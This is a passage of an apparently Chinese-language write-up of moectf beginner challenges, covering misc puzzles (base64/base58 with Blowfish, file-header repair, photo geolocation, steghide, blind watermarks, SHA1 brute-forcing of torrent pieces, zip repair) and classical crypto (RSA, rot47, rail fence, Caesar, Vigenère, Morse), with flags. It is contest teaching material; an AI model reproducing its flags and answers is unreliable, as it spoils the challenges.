0w0 0.0 o.Ö 0vÖ Övo OwO ÖwO 0wO Ov0 owo o.O O.O Ö.o 0wo o.Ö 0vO O.0 0_0 Ö_0 ÖvO Ov0 0_Ö Ö_0 0wO Ov0 0wÖ o_o 0vÖ 0v0 Owo o_0 O.O o.0 OwÖ o_O Ö.Ö Öw0 owo Ö_0 Ö.O owo 0wo o.O Ö.Ö Öwo 0wo O_o 0vO O_0 0_o O_O 0wO 0.o 0.O O_O 0vÖ Öw0 0.o O_o 0wo  '))
#Y2lwaGVyOiByWTVBaDhCdHNZWWF0TEVQdThZQ1BVMjJHcjVQUXQ4WUdES2t2YjRiazNENEpKZUVlNWtnQ3BvRXFnUnpzTTdtOWQ4akV0RTNMVW9LcFVMUW5NY3VBdW5VMWd0cHpDNWtTVXhGY3RGVE5DTVpWSExIWk5DbzVha3pLTVJZNWJieUJQN1JOVWVHREVZb1VjCmtleTogdGhlIHRhaWxpbmcgOCBieXRlcyBvZiBoYXNoIG9mICJ6dW5kdWppYWR1PyIgd2hpY2ggYmVnaW4gd2l0aCBiNjA5MTkwNGNkZmIKaXY6IHRoZSBlbmQgOCBieXRlcyBvZiBoYXNoIG9mICJkdWR1ZHU/IiB3aGljaCBiZWdpbiB3aXRoIDI3MmJmMWRhMjIwNwoKaGludDE6IGhvdyBkbyBCaXRjb2luIGFkZHJlc3NlcyBlbmNvZGU/CmhpbnQyOiB0aGUgbmFtZSBvZiBjcnlwdG9zeXN0ZW0gaXMgImJsKioqKnNoIg
```

将上述代码进行 base64 解码可以得到内容如下

```
cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc
key: the tailing 8 bytes of hash of "zundujiadu?" which begin with b6091904cdfb
iv: the end 8 bytes of hash of "dududu?" which begin with 272bf1da2207

hint1: how do Bitcoin addresses encode?
hint2: the name of cryptosystem is "bl****sh"
```

通过提示可以得知需要看看比特币地址生成算法以及寻找 `bl` 开头并且以 `sh` 结尾的加密算法，根据寻找可以确定是 `Blowfish` 算法。

> 比特币地址生成算法详解 - <https://www.cnblogs.com/zhaoweiwei/p/address.html>

通过比特币地址生成算法可以看到使用了 `sha-256` 和 `base58` ，将 `zundujiadu?` 和 `dududu?` 进行 sha-256 加密可以得到以下内容

```
sha256（zundujiadu?）= b6091904cdfb8c10acdbbf56ae402c6b4a5f69087778342d57e55c126f1557b3
sha256（dududu?）= 272bf1da2207f27417ba44c1c67fc7559ce543a8948b854767e9fca0871f9834
```

从而可以得出 key 和 iv 如下

```
key: 57e55c126f1557b3
iv: 67e9fca0871f9834
```

将密文进行 base58 解码后再丢进 Blowfish 解密，填进 cipher，key 和 iv ，解密后可以得到一串 base64 编码内容，解码后即可得到 flag 如下

```
moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}
```

### 打不开的图片1

用 010 打开搜索 flag ，可以找到 16进制内容如下

```
36 64 36 66 36 35 36 33 37 34 36 36 37 62 35 38 34 34 35 35 35 66 36 39 33 35 35 66 37 36 33 33 37 32 37 39 35 66 33 36 36 35 34 30 37 35 33 32 36 39 36 36 37 35 33 31 37 64 36 64 36 66 36 35 36 33 37 34 36 36 37 62 35 38 34 34 35 35 35 66 36 39 33 35 35 66 37 36 33 33 37 32 37 39 35 66 33 36 36 35 34 30 37 35 33 32 36 39 36 36 37 35 33 31 37 64
```

经过两次 Hex 就可以得到 flag `moectf{XDU_i5_v3ry_6e@u2ifu1}` 。

### 打不开的图片2

修改文件头 `89 50 4E 47` ，并修改图片后缀为 `.png` 就可以得到 flag `moectf{D0_yOu_1ik3_Bo7@ck_?}` 。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FwYTbNQNLE5BKF94xRE5l%2F%E6%89%93%E4%B8%8D%E5%BC%80%E7%9A%84%E5%9B%BE%E7%89%872-1.png?alt=media&amp;token=32d662d2-709b-46b9-a94b-84822fa9514d" alt=""><figcaption></figcaption></figure>

### 机位查询

#### 0x00

第一张图的信息有 `南宁站、城市便捷酒店连锁、高铁商务酒店、猪霸王` 。

通过分析以及通过百度全景可以得知附近只有 `嘉士摩根国际` 一个高楼，故确认为 `jiashi` 。[百度地图](https://map.baidu.com/search/%E7%8C%AA%E9%9C%B8%E7%8E%8B%E7%85%AE%E7%B2%89\(%E7%81%AB%E8%BD%A6%E7%AB%99%E5%BA%97\)/@12058751.709101077,2594955.89747966,19.5z?querytype=s\&da_src=shareurl\&wd=%E7%8C%AA%E9%9C%B8%E7%8E%8B%E7%85%AE%E7%B2%89\(%E7%81%AB%E8%BD%A6%E7%AB%99%E5%BA%97\)\&c=1\&src=0\&pn=0\&sug=0\&l=5\&b=\(4598185.960012987,705108.7499770466;18581929.960012987,8274516.749977047\)\&from=webmap\&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D\&device_ratio=2)

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FoUZqUiIrPhyE1Jqa8h9W%2F%E6%9C%BA%E4%BD%8D%E6%9F%A5%E8%AF%A2-1.png?alt=media&amp;token=33af42d1-816c-44e4-8b59-a74edf634a5b" alt=""><figcaption></figcaption></figure>

#### 0x01

第二张图通过图片可以获得的信息 `中山路美食街` ，并且该美食街位于图片正中间，说明沿着一条直线拍摄的，根据百度全景可以得知美食街对面的高楼就是 `百盛步行街广场` ，故得到第二部分 `baisheng` 。[百度地图](https://map.baidu.com/search/%E7%99%BE%E7%9B%9B%E6%AD%A5%E8%A1%8C%E8%A1%97%E5%B9%BF%E5%9C%BA/@12059195.479963213,2593501.560549225,18.36z?querytype=s\&da_src=shareurl\&wd=%E7%99%BE%E7%9B%9B%E6%AD%A5%E8%A1%8C%E8%A1%97%E5%B9%BF%E5%9C%BA\&c=261\&src=0\&wd2=%E5%8D%97%E5%AE%81%E5%B8%82%E5%85%B4%E5%AE%81%E5%8C%BA\&pn=0\&sug=1\&l=19\&b=\(12058913.782931838,2593214.5165782175;12059421.277068164,2593489.2234217827\)\&from=webmap\&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D\&sug_forward=d05995cc8d0be96ab020a82e\&device_ratio=2)

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F2NqJ7cAQ15cwL2B1H028%2F%E6%9C%BA%E4%BD%8D%E6%9F%A5%E8%AF%A2-2.png?alt=media&amp;token=fe9f89fd-2108-40d6-8eb6-47de9dd6f07d" alt=""><figcaption></figcaption></figure>

#### 0x02

通过第三张图可以得到以下信息

```
建筑物：时代丽都、中国人保、中国民生银行（很远）、广发银行（很远）、广西农信（很远）
GPS：108.35911345055136,22.81343269333407 High 156.08
```

因为存在远近的建筑物，根据这些建筑物画一条直线可以判断大体区域，再根据卫星图判断位置（以不会遮挡图片建筑物为准）。通过尝试 `宁汇大厦、东方明珠花园和汇金苑` ，最后在 `汇金苑` 确认了答案（flag 提交成功），得出第三部分 `huijin` 。[百度地图](https://map.baidu.com/search/%E6%97%B6%E4%BB%A3%E4%B8%BD%E9%83%BD/@12064254.043157246,2593252.355246558,18.15z/maptype%3DB_EARTH_MAP?querytype=s\&da_src=shareurl\&wd=%E6%97%B6%E4%BB%A3%E4%B8%BD%E9%83%BD\&c=261\&src=0\&pn=0\&sug=0\&l=17\&b=\(12062963.947684012,2592744.1179828583;12064682.414505962,2593668.946917101\)\&from=webmap\&biz_forward=%7B%22scaler%22:2,%22styles%22:%22sl%22%7D\&device_ratio=2)

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2Fnxr4HcSrXLYfbTCdHiAy%2F%E6%9C%BA%E4%BD%8D%E6%9F%A5%E8%AF%A2-3.png?alt=media&amp;token=abb42491-ada1-4fc3-a102-6f4c2c21d596" alt=""><figcaption></figcaption></figure>

### 奇怪的压缩包

```
├─docProps
├─ppt
│  ├─comments
│  ├─media
│  ├─slideLayouts
│  │  └─_rels
│  ├─slideMasters
│  │  └─_rels
│  ├─slides
│  │  └─_rels
│  ├─tags
│  ├─theme
│  └─_rels
└─_rels
```

压缩包包含以上内容，根据百度搜索得知是 `.pptx` 格式的，修改后缀即可打开这个 ppt ，但是目标并不是这个 ppt ，而是直接看压缩包里面的内容，通过翻看文件最终找到了 flag 。

第一段位于 `./ppt/sildes/slide2.xml` ，通过用 010 打开可以得知 `moectf{2ip` ；

第二段位于 `./ppt/comments/comment1.xml` ，通过打开 ppt 查看该评论所在的页面因此推断出他在第二段，即 `_?_` ；

第三段位于 `./ppt/sildes/slide4.xml` ，通过用 010 打开可以得知 `n0_i4` ；

第三段位于 `./ppt/sildes/slide5.xml` ，通过用 010 打开可以得知 `_pp4x!}` ；

因此 flag 就是 `moectf{2ip_?_n0_i4_pp4x!}` 。

### building\_near\_lake

根据搜图可以找到是 厦门大学(翔安校区)-德旺图书馆（118.31768,24.612841） [百度地图](https://map.baidu.com/dir//@13171157.086975714,2810159.7013888475,19.71z,73t)

根据右键查看属性可以得知手机型号是 Xiaomi 22122RK93C，也就是红米 K30，发布会日期是 20221227，提交后就可以得到 flag 如下

```
moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}
```

### base乐队

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F4XVQ1ieBGYOSY4d5k2MV%2Fbase%E4%B9%90%E9%98%9F-1.png?alt=media&amp;token=b504b650-da94-4d35-a636-c2ddc292f33c" alt=""><figcaption></figcaption></figure>

moectf{Th4\_6\@nd\_1nc1ud45\_F3nc4\_@nd\_b\@s3}

### 烫烫烫

```python
import chardet

data = "+j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo-"

# 使用chardet猜测可能的编码
guess_encoding = chardet.detect(data.encode())['encoding']
print(f"Guessed Encoding: {guess_encoding}")

# 尝试多种字符集进行解码
charsets = [
    "ascii", "utf-8", "utf-7","latin1", "big5", "gb2312", "gbk", "hz", "iso2022_jp", "iso2022_jp_1", "iso2022_jp_2",
    "iso2022_jp_2004", "iso2022_jp_3", "iso2022_jp_ext", "iso2022_kr", "cp1250", "cp1251", "cp1252", "cp1253",
    "cp1254", "cp1255", "cp1256", "cp1257", "cp1258", "cp874", "cp932", "cp949", "cp950", "euc_jp", "euc_jis_2004",
    "euc_jisx0213", "euc_kr", "koi8_r", "koi8_u", "mac_cyrillic", "mac_greek", "mac_iceland", "mac_latin2", "mac_roman",
    "mac_turkish", "ptcp154", "shift_jis", "shift_jis_2004", "shift_jisx0213", "utf_32", "utf_32_be", "utf_32_le"
]

for charset in charsets:
    try:
        decoded_data = data.encode('latin1').decode(charset)  # 首先将数据编码为latin1，然后尝试使用不同的字符集解码
        print(f"Decoded with {charset}: {decoded_data}")
    except Exception as e:
        print(f"Failed to decode with {charset} due to {e}")
```

可以得到以下内容

```
这是你的flag：

a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262

但是flag用AES加密了，key是下面这行字的sha256（hash值的开头是b34edc782d68fda34dc23329）

所以说，codepage真的很重要啊（
```

将 `所以说，codepage真的很重要啊（` 进行 SHA-256 加密可以得到以下内容

```
b34edc782d68fda34dc2332967273b0f0900a0ebd0dcec48467851bc6117bad1
```

将 flag 进行 AES-ECB 解密即可得到 flag 如下

```
moectf{codep@ge_pl@ys_@n_iMport@nt_role_in_intern@tion@liz@tion_g92WPIB}
```

### 你想要flag吗

使用 Audacity 可以看到以下内容。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F5AFSmespbdsjMbGihMXM%2F%E4%BD%A0%E6%83%B3%E8%A6%81flag%E5%90%97-1.png?alt=media&amp;token=2015e248-017e-4bb6-90c5-8a68a6ff7efc" alt=""><figcaption></figcaption></figure>

```bash
$ steghide extract -sf 1.WAV -p youseeme -xf out
wrote extracted data to "out".
$ file out
out: ASCII text, with no line terminators
$ cat out
U2FsdGVkX18pGLCTMBSjkndoY4gf2lbG96QwOzVZDZeAYOA+TKnfv1mCtQ==
```

Rabbit 解密 `key:Bulbasaur` 可以得到以下内容

```
Mu5ic_1s_v3ry_1nt23esting_!
```

### 照片冲洗

下载附件后用 010 打开可以发现下方存在另外一张图片

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FShBYGe2g31sW4X87chp6%2F%E7%85%A7%E7%89%87%E5%86%B2%E6%B4%97-1.png?alt=media&amp;token=2d1bcb86-fdee-4566-93be-c10b6c3d133e" alt=""><figcaption></figcaption></figure>

将上下两张图片分别提取出来如下图所示

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FOwCZBKp11tEdoBr0wb5i%2F%E7%85%A7%E7%89%87%E5%86%B2%E6%B4%97-2.png?alt=media&amp;token=40836d91-94b5-4727-8970-760fa291e643" alt=""><figcaption></figcaption></figure>

结合题目描述得知这是一道盲水印题目，推断 `2.png` 是原图，`1.png` 是水印图。

> <https://github.com/linyacool/blind-watermark>
>
> <https://github.com/chishaxie/BlindWaterMark>
>
> 盲水印脚本有多种，并且 Python 2 和 Python 3 的解题结果不同，可以多尝试
>
> 这题解出来使用的是第一个 URL 的 Python 3 脚本

通过盲水印脚本可以解出 flag，先通过 pip 安装库

```bash
$ pip install opencv-python
```

之后通过以下指令即可解出水印图如下

```bash
$ python decode.py --original 2.png --image 1.png --result flag.png
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F9xZHG4PxlfJGIf1tKdqZ%2F%E7%85%A7%E7%89%87%E5%86%B2%E6%B4%97-3.png?alt=media&amp;token=6f9fe2e7-114d-41e4-acfc-13bbde62724e" alt=""><figcaption></figcaption></figure>

读出来即可得到 flag 如下

```
moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}
```

### magnet\_network

> <http://www.snowywar.top/?p=1118>

用 010 打开压缩包查看文件头 `28 B5 2F FD 00 58 8D 17` 发现并不是 `zip` 压缩包文件头格式，用 `file challenge.zip` 看一下发现 `Zstandard compressed data (v0.8+)` ，通过咕鸽可以找到解压缩方法。

1. 先修改后缀为 `.zst`；
2. 执行 `zstd -d challenge.zst` 。

解压完就可以得到一个新的压缩包，里面存在一个 `segments.torrent` 文件，可以使用 Python 的 bencode 进行分析，先安装好环境。

```bash
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools==4.9.0
python3 -m pip install --upgrade bencode.py==4.0.0
```

```python
import bencode
torrent_file = open("segments.torrent", "rb")
metainfo = bencode.bdecode(torrent_file.read())
print(metainfo)
# {b'comment': b'flag format: moectf{xxxxxx}\nlength of xxxxxx: 24\nsha256 of flag: de5d94f22a9b8eab09779102a0fcc9c566880f7807d359da6f27723f3b881584\nflag chars: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!_? ', b'created by': b'qBittorrent v4.5.4.10', b'creation date': 1691855086, b'info': {b'files': [{b'length': 4, b'path': [b'1']}, {b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'0']}, {b'length': 4, b'path': [b'3']}, {b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'1']}, {b'length': 4, b'path': [b'5']}, {b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'2']}, {b'length': 4, b'path': [b'2']}, {b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'3']}, {b'length': 4, b'path': [b'6']}, {b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'4']}, {b'length': 4, b'path': [b'4']}], b'name': b'segments', b'piece length': 16384, b'pieces': b':\xca\xd9n\xe55E\xf8\xad<A\x9c[\x19e\xbe\xa24\xccj\xb39\xe2T~\x1b\xb5\xc1\xe5l*\xce\xab\x1f|\xf5\xaf\x93\xd1=e\x13\x1d\xbau\x0f\xdc\xb7\x15\xe3#Q\x07\x04\x1d\xe9\xc7\x96q\xae\xd3\xbae;\x9d)TKb9\x02\xaa\x07\x07D\x92y<z\xd4M\xd6\xe8\x92\xd9%\xa7A\x1c\xb1g{\x8b]\x8f\xecm\x93\x08\xac\xcc\x83\x04~\x9a\xe3\x92\xe0+PD(<\x89\xf1m\xc2o2\x8e'}}

"""
整理出注释内容
flag format: moectf{xxxxxx}
length of xxxxxx: 24
sha256 of flag: de5d94f22a9b8eab09779102a0fcc9c566880f7807d359da6f27723f3b881584
flag chars: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!_? 
"""

# 整理出 files 内容
info = metainfo[b'info'][b'files']
for file in info:
    print(file)
"""
{b'length': 4, b'path': [b'1']}
{b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'0']}
{b'length': 4, b'path': [b'3']}
{b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'1']}
{b'length': 4, b'path': [b'5']}
{b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'2']}
{b'length': 4, b'path': [b'2']}
{b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'3']}
{b'length': 4, b'path': [b'6']}
{b'attr': b'p', b'length': 16380, b'path': [b'.pad', b'4']}
{b'length': 4, b'path': [b'4']}
"""
```

从 `files` 可以得知一共有 6 个文件，并且注释中提示 flag 的长度为 24，并且 `files` 中的每个文件都是 4 个字节的实际长度，另外用 `.pad` 进行填充 16380 字节使得每个文件均为 16KB。

> 在BitTorrent协议中，文件被分为多个块或片段，每个片段的大小由 `piece length` 字段定义。为了验证下载的数据的完整性，BitTorrent使用 `pieces` 字段存储每个片段的SHA1哈希值。
>
> 为了计算某个特定片段的SHA1哈希值，你需要先获取该片段的原始数据内容，然后对这部分数据使用SHA1算法。

因此我们可以通过破解 SHA1 哈希值来获得 flag 的 4 个字节，在 6 个文件中，最后一个并没有使用 `.pad` 填充（由于不知道填充内容是什么，先用 `\x00` 尝试），可以通过 `hashcat` 直接暴力解出来 `eSti` ，而其他的需要在尾部加上 16380 个 `\x00` 才可以，尝试过跑字典发现行不了，跑到前一些就已经 79G 了，tkbl。也尝试过写个 rule ，但是 hashcat 读不了，因此还是得使用 Python 来写。

```python
import hashlib
import bencode
from pwn import *

torrent_file = open("segments.torrent", "rb")
metainfo = bencode.bdecode(torrent_file.read())
torrent_file.close()

pieces = metainfo['info']['pieces']
hashes_bytes = [pieces[i:i + 20] for i in range(0, len(pieces), 20)]
hashes = []
for _, h in enumerate(hashes_bytes):
    hashes.append(h.hex())

result = []

for ha5h in hashes[:5]:
    index = 0
    result.append(iters.mbruteforce(
        lambda x: hashlib.sha1((x+"\x00"*16380).encode()).hexdigest() == ha5h,
        "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!_?",
        4,
        'fixed'
    ))
    index += 1
result.append(iters.mbruteforce(
        lambda x: hashlib.sha1((x).encode()).hexdigest() == hashes[5],
        "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!_?",
        4,
        'fixed'
    ))

flag = result[0] + result[3] + result[1] + result[5] + result[2] + result[4]

print(result)
print(flag)
print(hashlib.sha256(('moectf{'+flag+'}').encode()).hexdigest())
```

然后运行一下！

```bash
$ python3 buu-new.py
[+] MBruteforcing: Found key: "p2p_"
[+] MBruteforcing: Found key: "nter"
[+] MBruteforcing: Found key: "ng_2"
[+] MBruteforcing: Found key: "iS_i"
[+] MBruteforcing: Found key: "WPIB"
[+] MBruteforcing: Found key: "eSti"
['p2p_', 'nter', 'ng_2', 'iS_i', 'WPIB', 'eSti']
p2p_iS_intereSting_2WPIB
de5d94f22a9b8eab09779102a0fcc9c566880f7807d359da6f27723f3b881584
```

就可以得到 flag 如下

```
moectf{p2p_iS_intereSting_2WPIB}
```

### weird\_package

根据题目得知需要先修复压缩包，先用 010 打开该文件

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FtF1HbdPhAEJNswGoUqld%2Fweird_package-2.png?alt=media&amp;token=cc25397c-a7ec-48b2-a7ce-08b554264d9f" alt=""><figcaption></figcaption></figure>

可以发现 ZIPDIRENTRY 是损坏的，我们需要根据上面的 record 对 ZIPDIRENTRY 进行修复。

先从 dirEntry\[0] 开始，它对应的是 record\[0] 。通过 dirEntry\[0] 的 deFileNameLength 为 2 可以推断出他的文件名就是 record\[0] 的文件名需要将 deFileName 改为 `3/` 即可，如下图所示

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F7BMs6E1aUZwbp1Hwmumq%2Fweird_package-3.png?alt=media&amp;token=fd051e47-1d12-4fb8-9821-7a8e3bbe7307" alt=""><figcaption></figcaption></figure>

以此类推，将 dirEntry\[0] 到 dirEntry\[8] 都恢复好，可以得到以下内容。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F2vJUVlMeHtTEfOQOxKv1%2Fweird_package-4.png?alt=media&amp;token=a0f32fdc-eace-46a8-bc9d-575edbf77f28" alt=""><figcaption></figcaption></figure>

此时会发现 dirEntry\[9] 的 deFileNameLength 为 0，需要先将它修改为 `6` ，再去修改文件名， deFileNameLength 的修改可以参照上面的 dirEntry\[8]。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FzzTqVK5EnoJcwz62d15j%2Fweird_package-5.png?alt=media&amp;token=a1a5de1d-917c-4f38-9a28-7e006c662e09" alt=""><figcaption></figcaption></figure>

修复好后，可以点击上图红色箭头所指向的按钮点击重新运行模板，就可以看到 deFileName 被正确修改为 `3/9999` 了，并且 endLocator 也正确的出现了（好欸）。

之后就是解压得到了 9 个文件，通过 CyberChef 来找 flag 的时候到了，经过一个一个试可以发现 `1111` 到 `8888` 得到的都是假的 flag `moectf{wow_tHis_is_a_faKe_fLaG_HaHaHa_S66ilDMV3DciYf!lP0iYlJf!M3rux9G9V}`

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F9t2Aarxd9a70zqfCv5ED%2Fweird_package-6.png?alt=media&amp;token=a46188ad-8c8b-4acd-9cfc-ef831b37f166" alt=""><figcaption></figcaption></figure>

只有 `9999` 才是真的，flag 如下

```
moectf{WHaT_DiD_You_Do_To_THe_arcHive?_!lP0iYlJf!M3rux9G9Vf!JoxiMl903ll}
```

## Crypto

### 入门指北

```python
import gmpy2
from Crypto.Util.number import *
p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# moectf{weLCome_To_moeCTf_CRypTo_And_enjoy_THis_gAme!_THis_is_yoUR_fLAg!}
```

### bad\_E

```python
import gmpy2
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert

p = 6853495238262155391975011057929314523706159020478084061020122347902601182448091015650787022962180599741651597328364289413042032923330906135304995252477571
q = 11727544912613560398705401423145382428897876620077115390278679983274961030035884083100580422155496261311510530671232666801444557695190734596546855494472819
c = 63388263723813143290256836284084914544524440253054612802424934400854921660916379284754467427040180660945667733359330988361620691457570947823206385692232584893511398038141442606303536260023122774682805630913037113541880875125504376791939861734613177272270414287306054553288162010873808058776206524782351475805
e = 65537
n = p * q
phi = (p - 1) * (q - 1)
print(gmpy2.gcd(e, p - 1))
print(gmpy2.gcd(e, q - 1))
d = invert(e, q - 1)
print(long_to_bytes(pow(c, d, q)))
# moectf{N0w_Y0U_hAve_kN0w_h0w_rsA_w0rks!_f!lP0iYlJf!M3ru}
```

### ezrot

```
@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N
```

Rot47 解码可以得到 flag 如下

```
moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}
```

### 可可的新围墙

猜测是栅栏解密，密文如下

```
mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j
```

通过设置栏数为 3 可以得到 flag 如下

```
moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}
```

### 皇帝的新密码

猜测是凯撒密码，密文如下

```
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
```

设置为 7 可以得到 flag 如下

```
moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}
```

### 不是“皇帝的新密码”

> <https://www.dcode.fr/vigenere-cipher>

维吉尼亚密码解密

moectf{vIgENErE\_CIphEr\_Is\_a\_lIttlE\_hardEr\_thaN\_caEsar\_CIphEr\_4u4u4EXfXz}

### 猫言喵语

先利用空格分割字符串

```
喵喵？
喵喵喵喵喵喵喵喵喵喵喵喵
喵喵喵
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵？
喵喵喵喵喵？
喵喵喵喵喵？喵喵？
喵喵喵喵喵？
喵喵喵喵喵喵
喵喵喵喵喵喵
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵？喵喵喵
喵喵喵喵喵？
喵喵？
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵喵喵喵喵
喵喵喵喵喵喵喵喵？
喵喵？
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵喵喵喵喵
喵喵喵
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵？喵喵喵
喵喵喵喵喵？
喵喵喵喵喵？喵喵喵喵喵喵
喵喵喵喵喵？喵喵喵喵喵喵
喵喵喵
喵喵？喵喵喵喵喵喵
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵？喵喵喵
喵喵？喵喵？喵喵？
喵喵喵喵喵喵喵喵？
喵喵？喵喵？喵喵喵喵喵喵
喵喵喵喵喵喵
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵？喵喵喵喵喵喵喵喵喵
喵喵？喵喵喵喵喵？喵喵？
喵喵喵喵喵喵喵喵？喵喵？喵喵喵喵喵？
喵喵喵喵喵？喵喵喵
喵喵？喵喵喵喵喵喵喵喵？
```

把 `喵喵？` 换成 `-` ，把 `喵喵喵` 换乘 `.` ，可以得到以下内容

```
-
....
.
..--.-
-.-
.-
.--
.-
..
..
..--.-
-.-.
.-
-
..--.-
-...
..-
-
..--.-
-...
.
..--.-
-.-.
.-
.-..
.-..
.
-..
..--.-
--.
---
..-
--..
..
..--.-
-...
-.--
..--.-
.-.
-..-
```

用摩斯密码解码可以得到 flag 如下

```
moectf{THE_KAWAII_CAT_BUT_BE_CALLED_GOUZI_BY_RX}
```

### factor\_signin

```python
import gmpy2
